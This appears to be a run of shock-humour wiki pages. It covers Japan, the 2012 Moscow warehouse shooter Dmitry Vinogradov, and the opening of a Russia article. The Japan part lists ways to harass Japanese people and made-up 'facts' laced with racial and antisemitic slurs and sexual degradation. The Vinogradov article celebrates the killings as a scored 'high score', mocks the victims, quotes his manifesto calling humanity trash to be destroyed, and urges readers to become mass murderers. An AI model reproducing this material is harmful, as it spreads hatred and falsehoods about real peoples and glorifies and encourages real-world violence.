*Brought up any atrocities they committed during WW2 Such as the Nanjing massacre, If they told you that they deserve it, brought up all the Jap wahmen the Americunts and the Ruskies raped during the occupation or any of the atrocities the Soviets committed against them and ask them if they deserve it as well. bonus point if they rage quitted and blocked you.
*Remind them if it wasn't for the Americunts, they would've been a province of China or Russia by now.
*Never use png image format. (Like their hentai, oversized things arouse them)
*Post a low-res picture of Japan being ejaculated upon by multiple high-res penises.
*Mention that they come from Korea and everything in their culture is Korean.
*Tell them that they originate in Southeast Asia.
*Walk by a schoolgirl.
*Then tell them what retards they are for going all "dumbshit fantard" over some shitty Jpop singer for no other reason than that he's Japanese.
*Upload a ton of Jap-made mods for Japanese games up for free downloading. The more uploaded for download, the better. MikuMikudance is a perfect example because the MMD community treats the game and themselves as some sort of fucking secret club. Often times on the few downloads they offer they put secret passwords on them. And so they get really pissed off about MMD stuff being shared (as well as passwords and links). [[Irony|They especially get mad when R18 models and videos are made.]] And make them easy and convenient to download; that will surely enrage the retarded Japs.
*Tell them that you don't like snuff and guro
*Tell them that there is no such thing as a pure Japanese.
*Tell them that they came from [[Jews|the Kikes]], especially since the degenerate Kikes have influence in their government.
*Tell them you like [[Godzilla|Godzilla]]
*Mention the war crimes commited by their military in WWII.

==Brutally True Facts==

[[File:Meanwhile in Japan.png|thumb|One of the most popular [[sport]]s in Japan.]]
[[File:Horyshit.jpg|thumb|Japanese man at work]]

*All Japanese citizens have [[Ass Burgers]], and most of them are [[weird|introverts]].
*[[Pink Guy Disease]] has become such an epidemic in Japan, that all Japanese infants are mandated to be screened by domestic therapists and doctors for [[autism|the tisms'.]]
*PGD sufferers in Japan spend their whole childhoods in dirty, worn-down, [[liberalism|leftist]] [[retarded|Special Sylum's]] or self-contained leftist classrooms, and are left without meaningful jobs when they become adults (other than manufacturing your [[anime|slave-made animu merchandise and figures]]).
*'''Pink Guy Disease has increased in Japan over 933%''' due to the introduction of [[minimalism|Flat Design]], Otaku tourism, and [[YouTube Kids]] and all its vile platforms orchestrated by that [[Hollywood|globalist, fascist Hollywood corp]] called [[YouTube]].
*All Japanese citizens are on [[crack]] in AT LEAST SOME KIND OF FORM, from colorful Konpeito candies to actual [[Venezuela|Venezuelan]] cocaine. This fact brought to you by ED's own Japanese editor, [[Kazuhiro]].
*All male Japanese are either [[drag queens]] or [[transexuals]] or [[80 year old Chinese man in panties|perverted old]] basement dwellers who sell hentai doujins. It's now almost impossible to find good, moral male Japs who are still alive (and sell pure, non-perv thingies, like [[candy|candied vegetables]] or [[Spongebob Rectal Thermometer|singing battery-operated herbal suppositories]]).
*All Japanese politician's are controlled by socialist fascist Yakuza. Also, it is legal to impersonate Yakuza in Japan.
*All male Japanese are omega as fuck ('''due to a lack of good manly male jobs''' in Wapan-Warudo/World for them) and only get their pieces of strawberry-flavored bum-bum from sex dolls, pillows with their favorite characters printed on them, and corpses from ritualistic Buddhist/Shinto behaviours.
*All female Japanese [[Cockmongler|love great white cock]] and suffer from either [[depression]] or [[megalomania]]. '''If a Japanese mom's kid turns out disabled for whatever reason''' ([[weeaboo|down syndrome]], [[asperger's syndrome|the tisms']], [[Shaye Saint John|traumatic bodily injury from a Shinkansen train accident]] or whatnot), '''her effeminate husband gets divorced and she becomes single.'''
*Japan is known for its [[socialism|socialistic]] ways disguised as [[capitalism]]. In fact, a Jap will do just about anything for a few bucks, including loving you long time for $10 <s>(that's [[Vietnam]] dumbass)</s> (they'll do it too, faggot). If they refuse, threaten to nuke their Chinese cookware and ugly minimalist bedrooms with some Splatoon paint guns smuggled from North Korea. That always works.
*In [[Alternative Medicine|Japanese medicine]], all drugs and most cures are [[in the ass|suppositories]]. Anybody who takes a Japanese drug, simply because it's [[weeaboo|Japanese]], is therefore a douche.
*[[4chan]] was inspired by a Japanese imageboard. Absolutely True!
*Japan's [[mainstream]] [[liberal]] [[tartlets]] are just like [[social justice warriors]], and they will GO APESHIT if they find out you're a [[Republican]]. If so, threaten to nuke their ugly minimalist bedrooms a third time.
*99% of all Japanese people are necrophiliacs and guro-fetishists. This expains why they obsess over some [[Puella Magi Madoka Magica|magical girl in agony getting her head eaten off by a pedophillic clown]]. As they used to say during World War 2, "Dead girls and gore make a Jappy's fappy happy!"
*Japs are like arabs, only they want the legs covered at all times. Girls in Japan who are found going bare-legged (even when bathing and swimming) face torture, death, and having their corpse raped. Anime/manga/hentai producers (even if they're not Japanese) will suffer the same fate if they don't draw thighhigh socks (regardless of gender). Liking and drawing bare-legs, going bare-legged, not liking/not drawing stockings/thighhighs/hosiery are considered by the Japanese to be the worst crimes. In Japan, people who prefer bare-legs are hated like anti-tax people are hated in the US; worse than terrorists. Japanese despise bare legs.
*Japs love [[Americunts]] when comparing other Chinks, but hate weeaboos. Yet they hate Americans for the two [[epic]] bombs that they dropped on two shitty villages that started a chain of faggotry in Japan. Basically these two-faced, double-standard cunts hate everyone.
*Japanese think their religion is [[J-pop|Ayumi Hamasaki]] cause there's truly no other way to explain [https://tokyofashion.com/ayumi-hamasaki-fan-cars-in-tokyo/ this.]
*Japs love eating literal shit and anything they can find like insects '''{{ytlink|Nl9x8412W2U|Srsly}}'''. [[Some argue|Some believe]] this is a result of the radioactive materials that have been released since the Japan Crisis of 2011.
*The Japanese descend from deported criminals and chicken fuckers from numerous Central and East Asian countries. [[shit_nobody_cares_about|The Ainu are the original inhabitants of the Japanese archipelago and were raped and murdered off their land into the most northern tip of Japan.]] Also, ten lost tribes of Jews from Israel went there and interbred with the Japanese. After the mighty nuke of retardation was dropped, the Japanese have finished their full transformation into Autistic Jews.
 
{{center|
{{frame|
{{videoframe|nippon|font-weight: bold;|
|<youtube>97KKioTCJvw</youtube>
;Explanation of dating etiquette in Japan
|<youtube>7G46YMyQjBY</youtube>
;Japanese Pastime.
|<youtube>yGvJZpkO3J8</youtube>
;Japan's traditional sport.
|<youtube>7_p0qAIuHdE</youtube>
;Another Japanese invention
|<youtube>4ua64HbsBUo</youtube>
;Japan can be [[awesome]] sometimes.}}
|}}
}}
 
==<s>Senkaku Islands</s> Daoyu Islands==

Just last thursday, a big dramafest emerged between the chinks and the Japs for a set of small, useless pseudo-islands. Some stupid redneck chinks being the patriots they are, boarded the Daoyu island (also known as fishing island, pretty shitty name) and got pwned by Japan's sea tactic known as "double penetrations". The chinks were then arrested and got buttraped in Japan tentacle prison (truth reveal, the owner of the island is a Jew. Like Josef Fritzl, he put the bitches in the kitchens while trolling all other chinks outside the island).

The chinks then responded by burning Japanese cars, boycotting Japanese products, and chink-chimping. [[Wikipedia]] was no alien to that drama, [https://en.wikipedia.org/w/index.php?title=Senkaku_Islands&action=history providing a nice dose of butthurt and lulz].

== Gallery ==
 
{{cg|Kawaii|Japan Gallery|center|<gallery perrow="5">
Image:Japan I Love You-small.png|The Japanese: Masters of the written word.
File:Beef rectum.jpg|
Image:Boob swords.gif
Image:Jap mouth-legs.gif
Image:Bloody Japanese porn.gif
</gallery>|<gallery perrow="5">
Image:Bikinicaca.jpg|Nothing is quite as satisfying as shitting one's bikini
Image:Kawaiidesu.jpg
Image:JapanWeird.jpg
Image:japan.jpg
Image:RisingSUN.jpg
Image:Japanese vending machine.gif|Japs are so necrophiliac they have vending machines with dead girls in them.
Image:64nowayisthisreal1.jpg
Image:Snail-girl-lol-japan.jpg
Image:Jap cum bath.gif
Image:Taste Test.jpg
Image:Japanese menu.gif
Image:Crab jap.gif
Image:Jap dentist.jpg
Image:Jap vag.gif
Image:Japanese ambulance.gif
Image:Japanese blowjob.gif
File:Gaysexlol.jpg|Fuckin' Faggets
Image:Japanese Porn.jpeg
Image:Typical Jap.gif
Image:Jap forehead.gif
File:Japan8833.jpg
File:Nuke Sizes.jpg
Image:Jap erection.gif
Image:Japanese van.jpg
File:Neverquitanempire.jpg
Image:Japanese porn.jpg
Image:WTF Japan.jpg
Image:Akihabara Rail Mechanophilia.jpg
Image:Sumo-fighters.JPG|GET IN MAH BELLY!
Image:Sliding Jap.gif|Just your average Japanese sport
Image:FA-Godzilla.jpg|Japan's most famous resident
Image:Dongs france vs usa vs japan.jpg|[[lie|Of course French guys have larger dicks than Americunts]]. [[butthurt|Too bad America STILL won the war.]] Also, [[fact|Frenchie likes German cock up the ass.]]
Image:JAPAN.gif
Image:Whale_furry_nippon.jpg|The Japs disrespect whales in [[rape|more ways]] than one.
Image:Jap_dad-dead_baby_manta_ray.jpg|[[engrish|YOU BLING GLATE DISHONOL ON OUR FAMIRY YOU MUST BE PUNISHED]]
Image:Pantynomnom.jpg|Japan superior
Image:Fuckingjapanese.gif|Bananas? In my sanity?
image:Flamethrowersandjaps.jpg|Jewtubers speak the truth.
Image:Aishinozaki.jpg|Ai Shinozaki -- a typical Japanese girl. Apparent age: 20. Actual age (as of 2009): 17
Image:Wapanese.gif
Image:Japs Keep Moving.jpg|The proper way to greet a Japanese family moving into your area.
Image:Chop-suey-glasses.jpg|You too can be Japanese with these glasses.
Image:nicetomeetyou.jpg|It's like saying [[hentai|hello]] in Japanese.
Image:Toastfucking.jpg|Have a piece of that bread bitch.
Image:Nuke Explode.jpg
Image:japansex.jpg
Image:Hiroshima bomb.jpg|Fucking deserved it too.
Image:JapaneseUsedPantyVendingMachine.jpg|[[Sick Fuck|Japanese Used-Panty Vending Machine]]
Image:danglegirl.jpg|[[shibari|String them up!]]
Image:Rapetastik.png|[[Rape]]- in Japan, it's like saying hello!
Image:Analbukkake.jpg|Japan [[censorship|censors]] [[penis|harbl]] because it hates [[faggotry]].
Image:Japanese_watermelon.jpg|Japanese love fucking watermelons.
Image:Smackjaps.jpg
Image:US according to Japan.jpg|A typical example of how Japan views foreign nations.
Image:wtf1111.gif|Little-known Fact: Little Red Riding Hood was Japanese and partial to the nutz.
Image:Japanese_pastime.jpg|One of Japan's many engaging pastimes.
Image:Japanpokemonpedofags.jpg|Japs have small penis and pedos love it!
Image:Nyotaimori.jpg|Typical Japanese dinner.
Image:Aichoaniki-2.png|Typical Japanese [[video game]] design.
Image:Undersea_cables.jpg|Japan breaks the intrawebs.
Image:Weeabo wet dream.jpg|
Image:Fugakutakoika.jpg|Is it paradise?
Image:Vomit1.jpg|How the Japanese reproduce.
Image:Hellsyeah0wo.gif|[[fake|Reminds me of your mother's tits.]]
Image:Japanstache.gif|This is why people don't play the DS
Image:Nazi teardrops.JPG|Japanese [[Shimajiro|toilet training]]
Image:Japanesechristmas.jpg|Typical Japanese X-Mas Present
Image:Eggloaf.jpg|[[Milk bags|In Japan, eggs come in loaves.]]
Image:O_rry.jpg |[[O RLY?|O RLY?]] [[Engrish|ASIAN STYLE!]]
Image:Ironchef chairman kaga eating capsicum.jpg|The Immortal Emperor of Japan.
Image:SlaptheJap.jpeg|Remember Pearl Harbor.
Image:Yay_Hiroshima1945.jpg|Somebody set us up the bomb!
Image:Yay_Nagasaki1945.jpg|OMG! Somebody set us up the bomb too!
Image:TypicalAnimeFanatic.jpg|Typical anime fan
Image:Exciting35.jpg|Best way to kill them is with [[WRY|their own technique.]]
Image:Japmarine.jpg|To scale.
Image:GigaOmorashi.jpg|Typical Japanese girls
Image:Azn mans pasttime.jpg|How Japanese men spend their time.
Image:Sumo-911.jpg|[[Jews did WTC|Japan did WTC]]
Image:Eiffel Tower.jpg|Japan has the Eiffel Tower
Image:Boob machine.jpg
Image:Roflbot-FridayTsunami.jpg
Image:Loljapan.jpg|PANTSUUUUUUUUUUUUUU
Image:MaiShiranuiPlasticCrap.jpg|A typical collection doll in Japan.
Image:Japan_-_Terrifying_Children.jpg
Image:Japan_-_Japanese_Women.jpg|Typical Japanese military man.
Image:Homosexuality_in_japan.jpg|Typical Japanese television program.
Image:Boob_guns.gif|A common occurrence in Japan.
Image:Japanese_Cow_Milking.jpg
File:Experience.jpg
File:Wtf japanese butt gun.gif
File:Japanesescientist.jpg
File:Jap Hairstyles.jpg
File:Hiroshima Ambient Temperature.png
Image:Melancholy_Of_Haruhi_Suzumiya_-_Rape.jpg
File:Nov 2017 Gaijin vs real Japanese.jpg|Gaijin vs. real Japanese people in Japan--Nov 2017 during Trump's visit.
File:Jisforjap.gif
File:JapBitch.jpg|The most famous Japanese woman
File:Japmenfaptothis.gif|Jap men like ball-busting
File:AgroupofshyJapanesewomen.jpg
File:RANRANRU.gif|[[McDonald's]] gets involved in Japan, causing this bullshit used in [[YTPMV]] videos to happen
</gallery>}}
 
==[[World War II]] velly funny neh? [[ROFL|LOTFR]]==
 
<center>{{frame|<youtube>oBudU8BiQw4</youtube>
<center>'''Shit, Japan needs some better history teachers.'''}}</center>
 
{{cg||WWIIgal|center|<gallery>
File:WTF Japan-superior.gif|Japanese [[porn|air force]]
Image:Hitler kawaii.jpg|Hitler is SO kawaii!
Image:Roseanne hitler.jpg
File:Deathtrap.jpg
</gallery>|<gallery>
Image:Japnazi.gif|Flag of Japan with a [[rave|blacklight]] shining on it
Image:Ww2cosplay4.jpg‎
Image:Ww2cosplay2.jpg‎
Image:Ww2cosplay3.jpg‎
Image:Ww2cosplay.jpg‎
Image:Ww2toon6.jpg‎
Image:Ww2cosplay5.jpg‎
Image:Ww2toon5.jpg‎
Image:Ww2toon4.jpg‎
Image:Ww2toon3.jpg‎
Image:Ww2toon2.jpg‎
Image:Ww2toon1.jpg‎
</gallery>}}
 
== See Also ==
[[Image:Japantrap.jpg|thumb|Typical Japanese couple.]]
[[File:Glorious nippon merchant.jpg|thumb|100px]]
*[[Ganguro]]
*[[Animé]]
*[[Awwright]]
*[[Suicide#切腹 & 腹切 for the オタク|Hari kari]]
*[[Babyfuck]]
*[[Bukkake]]
*[[Chuoside]]
*[[Guro]]
*[[Domo-kun]]
*[[Necrophilia]]
*[[Nuclear War]]
*[[Mutsuo Toi]]
*[[An Hero]]
*[[Jimbo's Japan Tour, 2007]]
*[[Shimajiro]]
*[[Big Daikon]]
*[[Kato]]
*[[Japanese Bug Fights]]
*[[Sick Fuck]]
*[[Weeaboo]]
*[[I LIEK MILK]]
*[[Whale Wars]]
*[[Fukushima2012]]
*[[Herbivore]]
*[[August 6 & 9 1945]]
*[[Vicki Sigh]]

== External Links ==

[[Image:Mana from Malice Mizer.jpg|thumb|The ideal Japanese "man", 2012]]

*'''{{wikilink|Unit_731|'''Proof''' that the Japanese were sick fucks during WWII}}'''.
*[http://news.bbc.co.uk/2/hi/asia-pacific/3699516.stm Japanese women get boyfriend pillow]
*'''{{archive|Yhr98|Fucked-up Japanese Stuff}}'''
*[https://www.toxel.com/tech/2009/06/08/14-cool-vending-machines-from-japan/ Strange technologies.]
*[http://news.bbc.co.uk/2/hi/asia-pacific/4092345.stm Japanese men get pussy pillow]
*[https://www.reuters.com/article/newsOne/idUSSP10422420070718 Japanese men turn to sex dolls]
*'''{{ytlink|CKjaFG4YN6g|Japanese women get diarrhea}}'''
*'''{{archive|QpYem|Typical Japanese toys}}'''
*'''{{archive|btElf|Moar Japanese toys}}'''
*<s>[http://www.pornhost.com/7616302885/ Furries and a clown raping a crying Japanese girl while their privates are blurred out. Only in Japan...]</s> (dead)
*[https://www.ep.tc/howtospotajap/ How to spot a Jap]
*[https://web.archive.org/web/20090207052240/https://www.dailymail.co.uk/sciencetech/article-1137747/Mini-Me-The-robot-doll-looks-sounds-just-like-you.html Get a Japanese pedo doll made...of your likeness!]
*<s>[http://efukt.com/2292_Unwanted_Public_Facials_3.html Jerking off on women in public. Oh, Japan, you so crazy.]</s> (dead)
*[https://theindependent.sg/japanese-mans-first-love-is-a-cockroach-he-imagined-having-sex-and-ate-it-when-it-died/ Japanese man falls in love with a cockroach]
*[https://japantoday.com/category/features/why-the-japanese-are-superior-people Why the Japanese Are a Superior People]
*[https://www.theguardian.com/world/2015/oct/27/japan-urged-to-ban-manga-child-abuse-images "Japan urged to ban manga child abuse images"] – will [[lolicon]] also be banned?
*[https://soranews24.com/2017/03/03/kanagawa-mans-body-found-one-month-after-death-in-a-six-ton-pile-of-erotic-magazines/ Jap "crushed to death by six-ton porn collection"]
=== Videos ===

[[File:Jap Fur.jpg|thumb|Japan does [[Furfag|Furries]].]]

*'''{{ytlink|5PHENQiJFzI|WTF milk}}'''
*'''{{ytlink|yi7YU42TQn4|Typical Day For The Average Japfag}}'''
*'''{{ytlink|n3Jr9YtQ0Vg|Even Popeye hates those sneaky Japs}}'''
*'''{{ytlink|lSEuMumOv0M|A typical Japanese commercial}}'''
*'''{{ytlink|mOrZX2858e8|Proof of Japan's great grammar - Miso Soup - with accurate subtitles...}}'''
*'''{{ytlink|SZzjw2UfUEk|National Anthem of Japan sung by a nigger}}'''
*{{UkrED|Японія|UkrDramatica's article on this}}
*<s>[http://www.pornhub.com/view_video.php?viewkey=8d52a769e640ab7fee93 A day with a Japanese girl.]</s> (dead)
*<s>[http://www.pornotube.com/media.php?m=32561 What the Americans came up with in response to weird Japanese porn]</s> (dead)
*<s>[http://www.redtube.com/5583 Just another day in Japan]</s> (dead)
*'''{{archive|pkYyC|}}'''
{{clear}}

{{japan}}
{{azn}}
{{Commonwealth}}
{{Hentai}}
 
{{timeline|Article of the Now July 9 and 10, [[2022]]|[[Boris Johnson]]|{{PAGENAME}}|[[Hunter Biden]]}}
[[Category:Japan]]

{{Timeline|Featured Article January 10 and 11, [[2024]]|[[Viper]]|[[{{PAGENAME}}]]|[[Rina Palenkova]]}}

Dmitry Vinogradov

2026-07-22T19:17:37Z

SmidgeX2:

{{info|Read this article in a Russian accent.}}
{{Failsathero}}

{{ib|[[File:Dmitryvinogradov4.jpg|250px]]}}
{{Ibhead|<big>'''Дми́трий Андре́евич Виногра́дов'''</big>}}
{{Ibrow|'''Born'''|August 20, 1983 ({{age|1983|8|20}} years old)}}
{{Ibrow|'''Nationality:'''|[[Russian]]  [[File:MiniflagRussia.png]]}}
{{Ibrow|'''[[high score|Highscore]]'''|Killed 6, injured 1}}
{{Ibrow|'''Top 50?'''|No, has failed Russia!}}
{{Ibrow|'''Style'''|FPS, Single player}}
{{Ibrow|'''[[An Hero]]?'''|Sadly, no}}
{{Ibrow|'''Motive'''|[[For Great Justice]]}}
{{Ibend}}

'''Dmitry Vinogradov''' is insecure Rusfag who commit shooting spree at warehouse in northeast of Moscow, [[Russia]], [[I did it for the lulz|in the name of Lulz]] and [[for great justice]] to russain bear. He was arm with Vepr 12, a variant of the semiautomatic shotgun [[Gleb Korablev|Saiga 12]], and also use Benelli M3 Super 90 shot gun. This rare combinate of akimbo shotgun earn him bonus point for style and for manage 6 kill with shitty wepon.

== Backed Ground ==

[[Image:dmitrycrimephotos.jpg|thumb|right|Crime Scene Photo]]
[[Image:dmitryarrested.jpg|thumb|right|Arrested]]
[[Image:dmitrycaughtontape.jpg|thumb|right|Caught on Tape]]
[[Image:dmitrycaughtontape2.jpg|thumb|right|Caught on Tape more]]
[[Image:dmitrygirlfriend.jpg|thumb|right|His hot ex-GF]]
[[Image:dmitryinterrogate.jpg|thumb|right|Assaulted by cameramans]]

Dmitry Vinogradov was [[lawyer]] at Rigla pharmaceutisical company which own warehouse where massacre took place. Like typical russan, he was known to go on week-long alcohol binge and was harass by fellow employee (see: bitch) for it. Do not get between man and beer! He was sadly sent to court for his [[alcoholism]] and apologize to everyone explain how he has "no other choice" for his consumption. He was known to have [[suicide]] tendency but has sadly never went full [[An Hero]]. Instead, he decided to shoot for [[High Score]] as early as January [[2012]]. His philosophy was kill as many people as possible and that somehow make the world better place — the only way to make world better world even! It is true, u should be come mass murderer too so we write article on u and [[liar|u will have thousands of fangirls like faggot anglo Eric Harris and his queer jew waifu Dylan Klebold have.]] Like those two faggots, Dmitry was also a fan of the film Natural Born Killers.

== Breivik #2 ==

Because the shootout took place just a year after [[Anders Breivik|Anders Breivik's]] record-breaking Oslo attack and they both published manifestos, the [[old media]] dubbed him "'''Russian Breivik'''". [[Epic fail|He absolutely did not live up to the name.]]

=== [[Nobody Cares|Manifesto]] ===

*{{wayback|https://https://vk.com/wall108446090_15|20121110115230|title=Dmitry's original VK post with the manifesto seen here (WARNING: IN SLAVSPEAK)}}
*[[:File:Манифест.docx|Converted from .rtf to .docx]]
*[[:File:Manifest.docx|English translation]]

In his manifest, he explain how he [[Pekka-Eric Auvinen|hates all of humanity and wants to mass murder all of us!!!11]]

I am sure that I have [[lie|good reason]] to believe [[Fact|all of humanity is cancer]] living on this planet. Already in [[2011]] the world population reached [[Over 9000|seven billion]], and this is despite the fact that current consumption rates already exhausted the Earth’s resources. [[Pekka-Eric Auvinen|I hate the human society]], and I hate to be a part of it, I hate the futility of human life, [[Goth|I hate this very life]], I see only one way to justify it: to [[Unrealistic Expectations|destroy as many particles of human compost as possible!]] Understand that [[Irony|you are not wanted here]], you are the genetic garbage that is here on Earth because of an error in the [[evolution]]. [[You]] are [[Truth|trash that needs to be destroyed]].

From what we can see from his online footprint, he was known to be [[environmentalist]] and he volunteered for World wildlife fund to save some dumb bird that was cummed on by oil rig. See? He does have empathy!

== Girl Frind ==

He also had [[girlfriend]] ([[Truth|Russian girl are sexyst in world.]]) but stupid fucking [[bitch]] broke up with him, beginning the cascade that would lead to his massacre. He now saw it as his duty to exact revenge on those responsible for breakup with his grill. During arrest he said ''“I was going out with one girl for a long time, but in January of this year we broke up. I tried to restore relations, but failed.”'' After filthy stupid bitch break up with him, this is what prompt his russian instict to drink like crazy. and get arrest.

== Attack ==
He obtained his guns after going to college where study legal degree, program, IT. He got in as a lawyer quickly. Using the funds, he illegally bought medical inspect to buy fire arm certificate. He bought 2 sport gun from said fire arm ceritifice. He used weapon to train at many shooting range. Early in the day, before he went on rampage, he publish his manifesto for all to see. He drive to office and in backpack was where his guns were, and had lots of ammo. He change clothing in bathroom, call his girlfriend (to make sure she was in his office area) and went on to go postal, as we describe below!

Dmitry was well-known employee and thus had no trouble smuggling in akimbo shotguns. Around 10:00 AM, he [[Metal Gear Solid|infiltrate the facility]]. This was on November 7th of 2012; Nov 7th 2007 was day when [[Pekka-Eric Auvinen]] went Postal! This is evidence that Pekka also knew Dmitry and conspired with him to kill 5 yrs later.

Dmitry was dress in Camouflage suit / gear, and using his shotguns, he killed 3 men and 2 bitch, injuring another dude and chick but sadly the pair survive. He manage this impressive feat in 18 second flat, with fuckin SHOTGUN. We applaud him for expert military skill. Sadly he ran out of ammo and was tackled by people until security guard came from [[Partyvan]] to v& his sorry anoos. One of those injured later die during night at hospital LOL. The ex-girlfriend was sadly found to be safe :(

== Aftermath ==

[[File:dmitrydoom.jpg|thumb|right|Now avaiable as [[Doom]] wad!]]
He was sentence to life imprisonment a year later, and order pay 300,000 shekel to victim family for damage. He was fine [[over 9000]] for his manifesto. Four year later he get his own ED page when [[User:AlGore|drunk russian idiot]] had nothing better to do with his time.

He aplologize for kill spree, and state he wanted to become an hero but was stopped. He went peacefully to prison but was photograph by dozens of reporter which prob caused him anxiety and fear, poor sod.

In his trial, victims explain how they thought it was prank at first because he dress like a clown. Atmosphere of courtroom was dreadful and his attitude was as well. As it is [[Russia]], he is likely soon to [[Borat|become execute]].

== Collected Video ==
{{Notice|Learn Russian plz.}}

{| style="margin: 0 auto"
|{{frame|{{videoframe|RYTP|background-color: #DBD8CD;|font-weight: bold;
|<youtube>2LJA4azYohI</youtube> <center>'''Arrest & CCTV.'''</center>
|<youtube>vb6xULtZW9E</youtube> <center>'''Excellent 20 minute report.'''</center>
|<youtube>-Y2A5hoc3Js</youtube> <center>'''News report on him.'''</center>
|<youtube>z1YuRcUdLT8</youtube> <center>'''Other segment.'''</center>
}}|border=#000000|background=#FFFFFF}}
|}

== Quote ==
After massacre many quote came to be relate of him. We list them here for all world to see.

<center>
{{frame|{{morphquote|mqtest3|background-color:#ffffff; width: 700px; height: 210px;|font-weight: bold;

|In March, I bought a rifle along with 200 rounds of ammunition and camouflage. I went to the office where Anna worked, said, ‘Hello, colleagues,’ and began shooting right in front of her eyes. I wanted them to see that I'm cool, and then I wanted to kill myself.
|Dmitry explaining how he did it, for the lulz.

|This man harbored ideas of hatred and anger to the world and he was planning his evil doing, such as where to do it. The shooting does not fit with his manifesto, which is written in a clear and concise language. Most likely, it is schizophrenia. [The] catalyst in his situation could be ridicule by peers, inability to share his ideas with others, or just the fact that he did not fit into the team.
|Dr. Vinogradov

|People at work mocked him somehow. Before breaking up with his girlfriend, he bought a trip for both of them to Edinburgh. But after the breakup he decided not to go by himself and then became heavily depressed.
|Dmitry Vinogradov’s mother

|Idiot! You should have started with yourself and your own relatives first!!! Why did you leave them alone? I hope you live until one hundred and rot alone in prison.
|Russian pussies crying like little bitch after his massacre.

|border=#ffffff|background=#ffffff}}}}
</center>

== Graded Score ==

{{GradedScore|6|Russian Brevik? Fuck off|17|K:I ratio with shotguns.|14|Akimbo Shotgun CQC|15|Severe Russian Shitstorm; rest of world didn't care.|18|Shotgun-only bonus.|70|C|Learn how to reload faster, n00b!}}

{{WantedLevel|1}}

==Picture==

{{cg|'''Selfies'''|fcgallery|center|<gallery perrow="5">
File:dmitryvinogradov1.jpg
File:breivikdmitry.jpg
File:dmitrylamb.jpg
File:dmitryvinogradov4.jpg
</gallery>|<gallery perrow="4">
File:dmitrybreiv2.jpg
File:dmitryclassy.jpg
File:dmitrycss.jpg
File:dmitryvinogradov3.jpg
File:dmitryvinogradov5.jpg
File:dmitryvinogradov6.jpg
File:dmitryvinogradov7.jpg
File:dmitryvinogradov8.jpg
File:dmitryvinogradov9.jpg|Dmitry saving birb
File:dmitryvinogradov10.jpg
File:dmitryvinogradov2.jpg
</gallery>|}}

== See Also ==

* [[Russia]]
*[[Timur Bekmansurov]] - his twin: also killed 6 with a shotty and hated humanity
*[[Ilnaz Galyaviev]]
*[[Vladislav Roslyakov]]
* [[Aaron Alexis]]
* [[Anders Behring Breivik]]
* [[Anton Lundin Pettersson]]
* [[Chris Dorner]]
* [[Mr. Saari]]
* [[Pekka-Eric Auvinen]]

== External Link ==
*[http://murderpedia.org/male.V/v/vinogradov-dmitry.htm Murderpedia Article]
*{{Wikilink|ru:Виноградов,_Дмитрий_Андреевич|Article}} on [[Russian Wikipedia]] about him.
*[https://lurkmore.online/%D0%94%D0%BC%D0%B8%D1%82%D1%80%D0%B8%D0%B9_%D0%92%D0%B8%D0%BD%D0%BE%D0%B3%D1%80%D0%B0%D0%B4%D0%BE%D0%B2 Lurkmore (Russian ED) article.]
*{{Wikilink|2012_Moscow_shooting|TOW fags' page}}
*[https://www.rt.com/news/rigla-killer-five-dead-161/ RT article]
*[http://sputniknews.com/voiceofrussia/2013_04_22/Extremism-charges-brought-against-killer-of-six-Dmitry-Vinogradov-210/ 2013 followup]
*[http://www.escapistmagazine.com/news/view/120609-Russia-Considers-Crackdown-on-Violent-Games Russia wants to fucking ban video games because of this guy. /facepalm]

{{gun control}}
{{High Scores}}
{{Psychopaths}}
{{Russia}}
{{timeline|Featured article July 5 & July 6, [[2016]]|[[4th of July]]|{{PAGENAME}}|[[2B2T]]}}
[[Category:Murder]]
[[Category:Rusfags]]
[[Category:2012]]

Russia

2026-07-22T19:14:44Z

SmidgeX2:

{{offended}}
{{achtung|RUSSIA HAS ANNEXED UKRAINE}}
{{spoiler|{{Hover|президент америки контролируется Кремлем, чтобы подорвать капитализм|AMERICA'S PRESIDENT IS CONTROLLED BY THE KREMLIN TO UNDERMINE CAPITALISM}}}}
{{spoiler|{{Hover|РОССИЯ ИЗОЛИРУЕТ ВЕСЬ ЧЕРТОВ ИНТЕРНЕТ, РУССКИЕ СХОДЯТ С УМА И СЕЙЧАС РУХНУТ С МАРТА 1 2026!!!|RUSSIA IS ISOLATING THE ENTIRE DAMN INTERNET, RUSSIANS ARE GOING CRAZY AND WILL COLLAPSE FROM MARCH 1, 2026}}}}
{{Warzone}}
{{breakingnews|[[Crocus City Hall Massacre|CHECHEN ISLAMISTS (SUICIDE BOMBERS JUST FOR FUN) JUST WENT FULL JIHAD MODE AT THE CROCUS CITY HALL IN MOSCOW!!!]]}}
[[Image:Russia Race riots.png|center|Welcome to Russia, where every day is race-riot Friday! (Courtesy Russian Ministry of Tourism website; they are so broke that they are promoting skin-head tourism because they need moar euros and dollars).]]

{{quote|The difficulty in understanding the Russian is that we do not take cognizance of the fact that he is not a European, but an [[Azn|Asiatic]], and therefore thinks [[troll|deviously]]. We can no more understand a Russian than a Chinese or a Japanese, and from what I have seen of them, I have no particular desire to understand them [[k/|except to ascertain how much lead or iron it takes to kill them]]. In addition to his other amiable characteristics, the Russian has [[b/|no regard for human life and they are all out sons-of-bitches, barbarians, and chronic drunks]].|George S. Patton}}

{{frame|<youtube>rWYKh6-2ORA</youtube>|margin=auto}}

[[File:Trump in putin's hands.jpg|thumb|400px|"This is my personal tweeting device"]]
[[Image:Putin Savior.jpg|thumb|400px|This person is the greatest person who has ever lived, next to [[Jesus]], [[Buddha]] and [[Willy on Wheels]]. Try to be more like him.]]
[[File:Time_magazine_trump-russia_cover_29_May_2017.png|thumb|right|200px|Is Trump controlled by the Russian Orthodox Church? (That's St Basil's cathedral, not the Kremlin, assholes)]]

The '''Khanate of Russia''' or '''Tsardom of Russia''' is the only relevant Slavic country in the world. It was formerly a great country during the reign of the [[Soviet Union]]. It's capital is aptly named Mosque-Cow which is the base of operations for Queer Muslim Gremlins that dwell within fortress Kremlin. Mother Russia is inhabited by [[Communist]] bear-fighting drunks with Kalashnikovs for dicks and in the past for mostly mediocre-looking or even ugly mail-order brides (now they came from [[Ukraine]] and [[Moldova]]). Now Russia is like its former enemy the [[Jewnited States of Americunts|USA]], an ultra-capitalist [[Ghetto|pseudodemocracy]], the inhabitants are widely considered [[Europe|Euro-]][[niggers]]. As part of their primitive vodka-nigger nature, they often attack other countries [[for the lulz]] because that's what [[freedom]] is all about. Also, Russia recently has become the first country that officially supports the Darfur genocide, because the people of Fur, Masalit, and Zaghawa like to refer to themselves as "God's chosen people"... and when you do so, you're basically asking for it.

==Geography==
